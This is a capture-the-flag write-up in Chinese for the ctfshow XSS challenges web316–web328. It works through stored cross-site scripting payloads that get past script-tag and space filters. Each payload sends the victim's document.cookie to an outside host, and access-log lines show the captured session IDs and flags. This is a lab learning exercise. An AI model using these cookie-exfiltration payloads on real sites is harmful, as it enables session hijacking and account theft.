XSS ctfshow
web316:
第一关没有任何过滤,直接存储形xss把cookie发送到咱们站点
<script>document.location.href='https://bk.tlli.top?cookie='+document.cookie</script>
然后使用宝塔查询访问日志拿到flag
124.223.158.81 - - [07/May/2024:21:34:30 +0800] "GET /?cookie=PHPSESSID=jj8rnj8jd7vou2m066k3vbo158; flag=ctfshow{7b0260c9-d62e-4d77-8335-5d3832f57dbc} HTTP/1.1" 200 62093 "http://127.0.0.1/target.php?key=ctfshow_bot_key" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
web317-319:
使用刚刚的payload发现已经不能使用了应该是被过滤掉了,然后使用p标签发现依旧存在xss,可以发现过滤的内容未script标签
然后这时候可以使用onload属性去触发js代码
<body onload="document.location.href='https://bk.tlli.top?cookie='+document.cookie"></body>
120.209.223.176 - - [07/May/2024:22:40:07 +0800] "GET /?cookie=flag=you%20are%20not%20admin%20no%20flag;%20PHPSESSID=sf87kodpuie4b7bdofka5fscub HTTP/1.1" 200 33441 "https://ad2b079c-571e-4fea-a5f6-3658411a65f3.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
成功在日志处拿到flag
web320~326:
测试发现过滤的是空格,直接注释代替即可
<body/**/onload="document.location.href='https://bk.tlli.top?cookie='+document.cookie"></body>
web327:
题目显示是存储形XSS
g
题目给了一个这个页面
我们提交后显示网络拥堵
然后把所有的传参地方改成xss依旧不行
去看了一下wp说收件人必须是admin。。。。离谱
改为admin后也是成功使用宝塔拿到了cookie跟flag
124.223.158.81 - - [07/May/2024:23:36:07 +0800] "GET /?cookie=PHPSESSID=cco65f4ji7vhulplis6luslu89;%20flag=ctfshow%7B0ab4bf89-717b-4947-a121-48eecbe9b303%7D HTTP/1.1" 200 33438 "http://127.0.0.1/target.php?key=ctfshow_bot_key" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
web328:
题目打开后是个账户登录页,直接注册账号登录即可
<script>document.location.href='https://bk.tlli.top?cookie='+document.cookie</script>